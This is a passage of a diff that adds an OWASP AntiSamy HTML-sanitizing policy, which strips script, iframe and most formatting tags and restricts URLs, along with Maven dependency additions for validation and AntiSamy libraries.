  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
\ No newline at end of file
... ...
... ... @@ -47,6 +47,7 @@
47 47 <jjwt.version>0.7.0</jjwt.version>
48 48 <json-path.version>2.2.0</json-path.version>
49 49 <junit.version>4.12</junit.version>
  50 + <jupiter.version>5.7.1</jupiter.version>
50 51 <slf4j.version>1.7.7</slf4j.version>
51 52 <logback.version>1.2.3</logback.version>
52 53 <mockito.version>3.3.3</mockito.version>
... ... @@ -113,6 +114,10 @@
113 114 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
114 115 <wire-schema.version>3.4.0</wire-schema.version>
115 116 <twilio.version>7.54.2</twilio.version>
  117 + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
  118 + <javax.el.version>3.0.0</javax.el.version>
  119 + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
  120 + <antisamy.version>1.6.2</antisamy.version>
116 121 </properties>
117 122
118 123 <modules>
... ... @@ -1262,6 +1267,12 @@
1262 1267 <scope>test</scope>
1263 1268 </dependency>
1264 1269 <dependency>
  1270 + <groupId>org.junit.jupiter</groupId>
  1271 + <artifactId>junit-jupiter-params</artifactId>
  1272 + <version>${jupiter.version}</version>
  1273 + <scope>test</scope>
  1274 + </dependency>
  1275 + <dependency>
1265 1276 <groupId>org.dbunit</groupId>
1266 1277 <artifactId>dbunit</artifactId>
1267 1278 <version>${dbunit.version}</version>
... ... @@ -1458,6 +1469,36 @@
1458 1469 </exclusion>
1459 1470 </exclusions>
1460 1471 </dependency>
  1472 + <dependency>
  1473 + <groupId>org.hibernate.validator</groupId>
  1474 + <artifactId>hibernate-validator</artifactId>
  1475 + <version>${hibernate-validator.version}</version>
  1476 + </dependency>
  1477 + <dependency>
  1478 + <groupId>org.glassfish</groupId>
  1479 + <artifactId>javax.el</artifactId>
  1480 + <version>${javax.el.version}</version>
  1481 + </dependency>
  1482 + <dependency>
  1483 + <groupId>javax.validation</groupId>
  1484 + <artifactId>validation-api</artifactId>
  1485 + <version>${javax.validation-api.version}</version>
  1486 + </dependency>
  1487 + <dependency>
  1488 + <groupId>org.owasp.antisamy</groupId>
  1489 + <artifactId>antisamy</artifactId>
  1490 + <version>${antisamy.version}</version>
  1491 + <exclusions>
  1492 + <exclusion>
  1493 + <groupId>org.slf4j</groupId>
  1494 + <artifactId>*</artifactId>
  1495 + </exclusion>
  1496 + <exclusion>
  1497 + <groupId>com.github.spotbugs</groupId>
  1498 + <artifactId>spotbugs-annotations</artifactId>
  1499 + </exclusion>
  1500 + </exclusions>
  1501 + </dependency>
1461 1502 </dependencies>
1462 1503 </dependencyManagement>
1463 1504
... ...